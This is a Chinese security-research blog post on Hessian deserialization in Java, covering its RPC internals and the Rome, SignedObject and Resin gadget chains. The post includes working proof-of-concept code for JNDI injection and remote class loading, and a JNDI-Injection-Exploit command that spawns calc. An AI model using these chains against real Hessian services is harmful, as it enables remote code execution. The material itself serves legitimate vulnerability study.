Javaweb安全——Hessian 反序列化
创始人
2024-05-23 14:59:33
0

Hessian 反序列化

Hessian基础

Hessian类似于RMI也是一种 RPC(Remote Produce Call)的实现。基于HTTP协议,使用二进制消息进行客户端和服务器端交互。

Hessian 自行定义了一套自己的储存和还原数据的机制。对 8 种基础数据类型、3 种递归类型、ref 引用以及 Hessian 2.0 中的内部引用映射进行了相关定义。这样的设计使得 Hassian 可以进行跨语言跨平台的调用。

基础使用

Hessian源码分析--总体架构_Hessian

pom.xml添加依赖,项目结构那再添加依赖到lib

com.cauchohessian4.0.66

image-20230125184142403

通过把提供服务的类注册成 Servlet 的方式来作为 Server 端进行交互。

  • 定义一个远程接口的接口。
public interface Service {String getTime();
}
  • 定义一个实现该接口的类,并使用注解配置Servlet(也可通过web.xml配置)
import com.caucho.hessian.server.HessianServlet;
import javax.servlet.annotation.WebServlet;
import java.time.LocalDateTime;
import java.time.format.DateTimeFormatter;@WebServlet(name = "hessian", value = "/hessian")
public class ServiceImpl extends HessianServlet implements Service {@Overridepublic String getTime() {return "当前时间为:"+ LocalDateTime.now().format(DateTimeFormatter.ofPattern("yyyy-MM-dd HH:mm:ss"));}
}

客户端:

import com.caucho.hessian.client.HessianProxyFactory;
import java.net.MalformedURLException;public class Client {public static void main(String[] args) throws MalformedURLException {String url="http://localhost:8081/hessian";HessianProxyFactory factory=new HessianProxyFactory();Service service=(Service) factory.create(Service.class, url);System.out.println(service.getTime());}
}

image-20230125184214472

远程调用过程

Client

HessianProxy是Client端的核心类,用来代理客户端对远程接口的调用。既然是动态代理就主要关注其invoke方法的逻辑。

image-20230126023609071

在方法调用处下断点,进入com.caucho.hessian.client.HessianProxy#invoke方法。

  • 获取方法名和参数类型,以及对于equals和hashCode特殊处理。

  • 获取输入流,调用sendRequest函数向server发送请求,包括函数名及函数的参数得到连接对象

    • com.caucho.hessian.client.HessianProxy#sendRequest函数中,在得到连接后用out.call调用远程方法

  • 从连接中得到返回的结果,返回的二进制值存在is中

image-20230126034002675

  • 对返回值进行处理,根据code值选择对应的版本进行读取

image-20230126034024045

Server

HessianSkeleton是Server端的核心类,从输入流中反序列化出Client端调用的方法和参数,对Server端服务进行调用并返回结果。

image-20230126015654534

直接在被调用的方法处打断点开始调试,从com.caucho.hessian.server.HessianServlet开始看。

image-20230125184532383

com.caucho.hessian.server.HessianServlet#service是相关处理的起始位置。

  • Hessian仅支持POST,不符则返回500状态码
  • 会获取请求中的id或者ejbid参数(可以导致调用不同的实体 Beans)作为objectId
  • 最后返回ContentType为x-application/hessian的响应

image-20230125184840775

com.caucho.hessian.server.HessianServlet#invoke根据 objectID 是否为空进行调用,

image-20230125205312495

接着进入com.caucho.hessian.server.HessianSkeleton#invoke(java.io.InputStream, java.io.OutputStream, com.caucho.hessian.io.SerializerFactory)方法。

Hessian源码分析–HessianSkeleton

HessianSkeleton是Hessian的服务端的核心,简单总结来说:HessianSkeleton根据客户端请求的链接,获取到需要执行的接口及实现类,对客户端发送过来的二进制数据进行反序列化,获得需要执行的函数及参数值,然后根据函数和参数值执行具体的函数,接下来对执行的结果进行序列化然后通过连接返回给客户端。

  • 读取协议头
  • 根据协议头使用对应的输入输出流(适应hessian/hessian2混用)
  • 输入输出流设置序列化工厂类

image-20230126004213371

image-20230126004131154

接着调用com.caucho.hessian.server.HessianSkeleton#invoke(java.lang.Object, com.caucho.hessian.io.AbstractHessianInput, com.caucho.hessian.io.AbstractHessianOutput)方法进一步处理。

  • 获取调用方法名和参数长度,再根据此信息得到该方法
  • else if ("_hessian_getAttribute...那应该是匹配xml配置servlet的写法

image-20230126004046797

  • 获取方法参数类型
  • 根据参数类型反序列化得到参数值
  • 再根据service反射调用对应实例的方法

image-20230126003942565

序列化与反序列化

序列化相关类的主体结构如下:

image-20230126034734323

详细流程图可以参考:Hession反序列化流程

Hessian 定义了 AbstractHessianInput/AbstractHessianOutput 两个抽象类,用来提供序列化数据的读取和写入功能。

默认情况下,客户端使用 Hessian 1.0 协议格式发送序列化数据,服务端使用 Hessian 2.0 协议格式返回序列化数据。

序列化

同样,在上面过程中也可以发现,在子类com.caucho.hessian.io.Hessian2Output的具体实现中,提供了 call 相关方法执行方法调用,writeXXX 方法进行序列化数据的写入。

为了方便下面的调试可以修改一下上面的客户端服务端,增加一个实体类,将返回类型设置为该类。

如server端写入返回结果的时候,先调用writeReply方法再调用writeObject进行对象写入

image-20230126231710263

image-20230126231651024

com.caucho.hessian.io.Hessian2Output#writeObject根据指定的类型获取序列化器 Serializer 的实现类,并调用其 writeObject 方法序列化数据。

image-20230126233050876

这里返回的是自定义的Time类,但对于自定义类型,将会使用 JavaSerializer/UnsafeSerializer/JavaUnsharedSerializer 进行相关的序列化动作,默认情况下是 UnsafeSerializer

UnsafeSerializer#writeObject 会调用对应协议版本的 writeObjectBegin 方法。

主要逻辑为先获取Class的引用次数,如果Class已经引用过了则不需要重新解析,直接写入对象即可;

如果Class没有引用过则先写入类的定义,包括属性的个数和依次写入所有属性的名称。然后在写入类的名称,最后再执行writeInstance方法写入实例对象。

image-20230126234857353

返回值的定义在各版本中有所不同

  • Hessian 2 中会写入自定义类型。进入else if 将会调用 writeDefinition20Hessian2Output#writeObjectBegin 方法写入自定义数据

image-20230126233650415

  • Hessian 1 中没有重写该方法将自定义类型标记为 Map 类型。进入最后的else

image-20230126234019680

反序列化

看到com.caucho.hessian.client.HessianProxy#invoke客户端读取返回结果的部分

image-20230126235700909

对应协议版本的readReply会根据返回的预期类型进行读取

  • Hessian 2

image-20230126235820424

进入Hessian2Input#readObject(java.lang.Class)方法。主体是switch case 语句,在读取标识位后根据不同的数据类型调用相关的处理逻辑。

比如触发漏洞中常见的HashMap或者Map,在得到其反序列化器之后调用其readMap方法。

image-20230203222548330

Hessian2Input#readObject()中也是类似逻辑,

image-20230203223957322

com.caucho.hessian.io.SerializerFactory#readMap中也是获取对应的反序列化器,然后再调用其readMap方法。

image-20230203223602467

当然在这个Demo中是进入 case 'C' 加载自定义类型

image-20230203222640558

readObjectDefinition函数获取类定义,包括属性的个数和依次写入所有属性的名称。然后return处一个回调,进入另一个case语句。

com.caucho.hessian.io.Hessian2Input#readObjectInstance会去实例化类。

image-20230127000510605

instantiate 使用 unsafe 实例的 allocateInstance 直接创建类实例

image-20230127000953799

image-20230127000805623

  • Hessian 1

com.caucho.hessian.io.HessianInput#readObject(java.lang.Class) 没有针对 Object 的读取,而是都将其作为 Map 读取。

image-20230127002506995

上面提到Hessian 1序列化在写入自定义类型时会将其标记为 Map 类型,所以查看com.caucho.hessian.io.MapDeserializer#readMap方法,会根据类型创建不同的map,然后序列化读取。

image-20230127002821386

读取map键值的反序列化读取调用的是com.caucho.hessian.io.HessianInput#readObject()方法,然后再根据类型调用不同的deserializer

image-20230202012834358

image-20230202012921695

最后通过map.put设置键值对,这也是hessian反序列化漏洞成因。

Serializable

Hessian序列化不关注serialVersionUID,hessian序列化时把类的描述信息写入到byte[]中。且不允许任意代理,并且不支持自定义的集合比较器。

Hessian 实际支持反序列化任意类,无需实现 Serializable 接口。

  • 序列化

    • 需要实现 java.io.Serializable 接口(默认)

    • 任意类序列化(_isAllowNonSerializable=true

  • 反序列化

    • 任意类序列化(判断在序列化过程中进行)

image-20230202015228560

image-20230202015308617

HessianOutput output = new HessianOutput(bao);
//序列化没有实现java.io.Serializable接口的类
output.getSerializerFactory().setAllowNonSerializable(true);

漏洞和利用链

Hessian各种反序列化链中和Map相关的触发都与put 键值对有关:

  • HashMap:

    • 处理如何连接链表时hash方法进行计算是否有相同的key,会调用 key 的 hashCode 方法。

    HashMap.readObject() -> HashMap.hash() -> XXX.hashCode()

    • 生成链表时会调用 key 的 equals 方法进行比较

      HashMap.readObject() -> HashMap.putVal() -> XXX.equals()(jdk7u21中用到过)

  • TreeMap:

    • 排序时通过 compare 方法进行比较,会调用 key 的 compareTo 方法。

所以在Hessian的反序列化利用链中,起始方法只能为hashCode/equals/compareTo 方法。

marshalsec集成了Hessian反序列化的gadget

  • Rome
  • XBean
  • Resin
  • SpringPartiallyComparableAdvisorHolder
  • SpringPartiallyComparableAdvisorHolder

Rome

hashCode触发

JdbcRowSetImpl

Gadget的原理前面写过(反序列化漏洞-Rome),核心是ToStringBean#toString()会调用其封装类的所有无参 getter方法,可以借助 JdbcRowSetImpl#getDatabaseMetaData() 方法触发 JNDI 注入。

image-20230201173247588

触发调用是通过HashMap在 put 键值对会调用HashMap.hash(Object)方法校验重复key,从而调用ObjectBean.hashCode()

依赖换成了和marshalsec一样的rometools,JDK版本为8u111(方便打JNDI)

com.rometoolsrome1.7.0

要修改下ObjectBean类属性名

JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
String url = "ldap://127.0.0.1:1389/2hig5s";
jdbcRowSet.setDataSourceName(url);ToStringBean toStringBean = new ToStringBean(JdbcRowSetImpl.class,jdbcRowSet);
EqualsBean equalsBean = new EqualsBean(ToStringBean.class,toStringBean);
ObjectBean extObjectBean = new ObjectBean(String.class,"test");
Map expMap = new HashMap();
expMap.put(extObjectBean, "test");
SerializeUtil.setFieldValue(extObjectBean,"equalsBean",equalsBean);deserialize(serialize(expMap));

工具类方法如下:

public static  byte[] serialize(T o) throws IOException {ByteArrayOutputStream bao = new ByteArrayOutputStream();HessianOutput output = new HessianOutput(bao);output.writeObject(o);System.out.println(bao.toString());return bao.toByteArray();
}public static  T deserialize(byte[] bytes) throws IOException {ByteArrayInputStream bai = new ByteArrayInputStream(bytes);HessianInput input = new HessianInput(bai);Object o = input.readObject();return (T) o;
}public static void setFieldValue(Object obj, String name, Object value) throws Exception {Field field = obj.getClass().getDeclaredField(name);field.setAccessible(true);field.set(obj, value);
}

利用工具起一个JNDI服务

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C calc -A 127.0.0.1

image-20230201172957101

二次反序列化

java.security.SignedObject 的getter方法存在二次反序列化

image-20230201231924098

这里二次序列化用的是HashMap#readObject()方法去再次触发Rome链。

public class HessianRome2 {public static void main(String[] args) throws Exception {HashMap TI_Map = makeMap(Templates.class,generateTemplatesImpl());//生成私钥KeyPairGenerator keyPairGenerator = KeyPairGenerator.getInstance("DSA");keyPairGenerator.initialize(1024);KeyPair keyPair = keyPairGenerator.genKeyPair();PrivateKey privateKey = keyPair.getPrivate();//生成签名对象Signature signingEngine = Signature.getInstance("DSA");;SignedObject so = new SignedObject(TI_Map, privateKey, signingEngine);Map expMap = makeMap(SignedObject.class,so);deserialize(serialize(expMap));}public static HashMap makeMap(Class expectedClass, Object o) throws Exception {ToStringBean toStringBean = new ToStringBean(expectedClass, o);EqualsBean equalsBean = new EqualsBean(ToStringBean.class, toStringBean);ObjectBean extObjectBean = new ObjectBean(String.class,"test");HashMap expMap = new HashMap();expMap.put(extObjectBean, "test");SerializeUtil.setFieldValue(extObjectBean,"equalsBean",equalsBean);return expMap;}
}

这里有点疑问,为什么不直接用Rome反序列化链。尝试无果,调试可见在com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#defineTransletClasses获取类加载器的时候空指针报错,原因是TemplatesImpl#_tfactory属性为null。

image-20230202003403104

正常情况是这样的

image-20230202004350693

这是因为_tfactory是一个transient修饰的属性,不会被反序列化。而在原生反序列化时,该属性是在TemplatesImpl#readObject中重新设置进去的。

image-20230202004946925

在hessian反序列化中读取属性时可以发现压根就没写入这个属性

image-20230202014533184

在hessian序列化时,由 UnsafeSerializer#introspect 方法来获取对象中的字段,在老版本中应该是 getFieldMap 方法。依旧是判断了成员变量标识符,如果是 transient 和 static 字段则不会参与序列化反序列化流程。

image-20230202015021051

https://su18.org/post/hessian/#serializable

在原生流程中,标识为 transient 仅代表不希望 Java 序列化反序列化这个对象,开发人员可以在 writeObject/readObject 中使用自己的逻辑写入和恢复对象,但是 Hessian 中没有这种机制,因此标识为 transient 的字段在反序列化中一定没有值的。

Resin

equals触发

添加依赖如下:


com.cauchoquercus4.0.45

调用链

XString#equalsQName#toStringContinuationContext#composeName(java.lang.String, java.lang.String)ContinuationContext#getTargetContextNamingManager#getContextNamingManager#getObjectInstance NamingManager#getObjectFactoryFromReference

NamingManager#getObjectInstance那就很明显了,其实就是加载远程的ObjectFactory。前面使用HashMap在比较中调用key.equals方法,即com.sun.org.apache.xpath.internal.objects.XString#equals(java.lang.Object)来触发。

image-20230203001802835

在putVal的时候,hash一样所以进入后面的 key.equals(k) ;传进去的k就是QName对象,然后再调用其toString方法。

image-20230203022809380

com.caucho.naming.QName#toString

image-20230203001407021

javax.naming.spi.ContinuationContext#composeName(java.lang.String, java.lang.String)

image-20230203001323353

javax.naming.spi.ContinuationContext#getTargetContext

image-20230203000956771

javax.naming.spi.NamingManager#getContext

image-20230203000930486

简单实现一下,弹个计算器

// 定义一个远程的class 包含一个恶意攻击的对象的工厂类String codebase = "http://127.0.0.1:8180/";// 对象的工厂类名String classFactory = "ExecTemplateJDK8";//实例化一个CannotProceedException对象,并设置远程对象CannotProceedException cpe = new CannotProceedException();cpe.setResolvedObj(new Reference("Foo", classFactory, codebase));//通过反射实例化ContinuationDirContext类Class ccCl = Class.forName("javax.naming.spi.ContinuationContext");Constructor ccCons = ccCl.getDeclaredConstructor(CannotProceedException.class, Hashtable.class);ccCons.setAccessible(true);Context ctx = (Context) ccCons.newInstance(cpe, new Hashtable<>());QName qName = new QName(ctx, "foo", "bar");//根据qName计算hash碰撞值String unhash = unhash(qName.hashCode());XString xString = new XString(unhash);//xString在存入时hash值和前面的qName一样,就会调用key.equals进行判断 触发调用HashMap expMap = new HashMap();expMap.put(qName, "test");expMap.put(xString, "test");ByteArrayOutputStream bao = new ByteArrayOutputStream();HessianOutput output = new HessianOutput(bao);//序列化没有实现java.io.Serializable接口的类output.getSerializerFactory().setAllowNonSerializable(true);output.writeObject(expMap);deserialize(bao.toByteArray());

hash碰撞的函数如下,搁老外这抄的https://bchetty.com/blog/hashcode-of-string-in-java:

private static String unhash(int hash) {int target = hash;StringBuilder answer = new StringBuilder();if ( target < 0 ) {// String with hash of Integer.MIN_VALUE, 0x80000000answer.append("\\u0915\\u0009\\u001e\\u000c\\u0002");if ( target == Integer.MIN_VALUE )return answer.toString();// Find target without sign bit settarget = target & Integer.MAX_VALUE;}unhash0(answer, target);return answer.toString();
}private static void unhash0 ( StringBuilder partial, int target ) {int div = target / 31;int rem = target % 31;if ( div <= Character.MAX_VALUE ) {if ( div != 0 )partial.append((char) div);partial.append((char) rem);}else {unhash0(partial, div);partial.append((char) rem);}
}

还是用的JNDI-Injection-Exploit的http服务来加载恶意.class文件

image-20230203023201307

参考

Hessian源码分析–总体架构

Hessian 反序列化知一二

hessian实现(客户端服务端在同一个项目中)

marshalsec.pdf 中文翻译 Java Unmarshaller Security (将您的数据转化为代码执行)

上一篇:【vector的模拟实现】

下一篇:Vue面试题2

相关内容

热门资讯

圣诞节活动主持词节目串词 圣诞节活动主持词节目串词3篇  根据活动对象的不同,需要设置不同的主持词。在人们积极参与各种活动的今...
生日华诞主持词 生日华诞主持词范文各位领导,各位朋友,各位来宾,女士们,先生们:  中午好。  今天是个喜庆的日子,...
学术会议主持词 学术会议主持词  什么是主持词  由主持人于节目进行过程中串联节目的串联词。如今的各种演出活动和集会...
订婚仪式及主持词 订婚仪式及主持词范文(通用3篇)  活动对象的不同,主持词的写作风格也会大不一样。在现在的社会生活中...
古剑奇谭欧阳少恭经典台词参考 古剑奇谭欧阳少恭经典台词参考  大型古装玄幻剧《古剑奇谭》正在湖南卫视热播,剧中,乔振宇饰演温文尔雅...
幼儿园晨会主持词 幼儿园晨会主持词  美好的一天从早上开始,从晨会开始,从大家的好的状态开始,从最好的开始。以下是小编...
诗文诵读展示主持词 诗文诵读展示主持词  主持词没有固定的格式,他的最大特点就是富有个性。在当今不断发展的世界,很多晚会...
大学生毕业典礼的主持词 大学生毕业典礼的主持词(精选5篇)  活动对象的不同,主持词的写作风格也会大不一样。在当下的社会中,...
婚礼的主持词 婚礼的主持词  婚礼的主持词(精选21篇)  主持词的写作要突出活动的主旨并贯穿始终。随着社会一步步...
主婚人致辞 主婚人致辞(精选6篇)  在生活、工作和学习中,大家都写过致辞吧,致辞具有很强的实用性和针对性。还在...
促销活动主持词 促销活动主持词  利用在中国拥有几千年文化的诗词能够有效提高主持词的感染力。在现今人们越来越重视活动...
小品活动的主持词 小品活动的主持词  【篇一】  各位亲爱的老师,同学们,大家下午好!  欢迎来到天津师范大学新闻传播...
森林报好词好句 森林报好词好句  好词:  小巧玲珑 飞云流雾 红日西垂 霞光四射 层峦叠嶂 水天相接  轻歌曼舞 ...
早会主持稿 早会主持稿(精选5篇)  在现在社会,我们可以使用主持稿的机会越来越多,主持稿是主持人为节目进行过程...
优秀员工颁奖词 优秀员工颁奖词大全  在平时的学习、工作或生活中,大家都经常接触到颁奖词吧,颁奖词是在某一主题的颁奖...
女儿出阁司仪主持词 女儿出阁司仪主持词范文  主持词要把握好吸引观众、导入主题、创设情境等环节以吸引观众。在当下的中国社...
歌颂祖国串词 歌颂祖国串词一。各位领导 各位来宾,大家晚上好。今天我们这里篷壁生辉,喜气洋溢,是因为有您们的光临,...
小学生庆元旦联欢会主持词 小学生庆元旦联欢会主持词范文(精选5篇)  主持词要注意活动对象,针对活动对象写相应的主持词。在现今...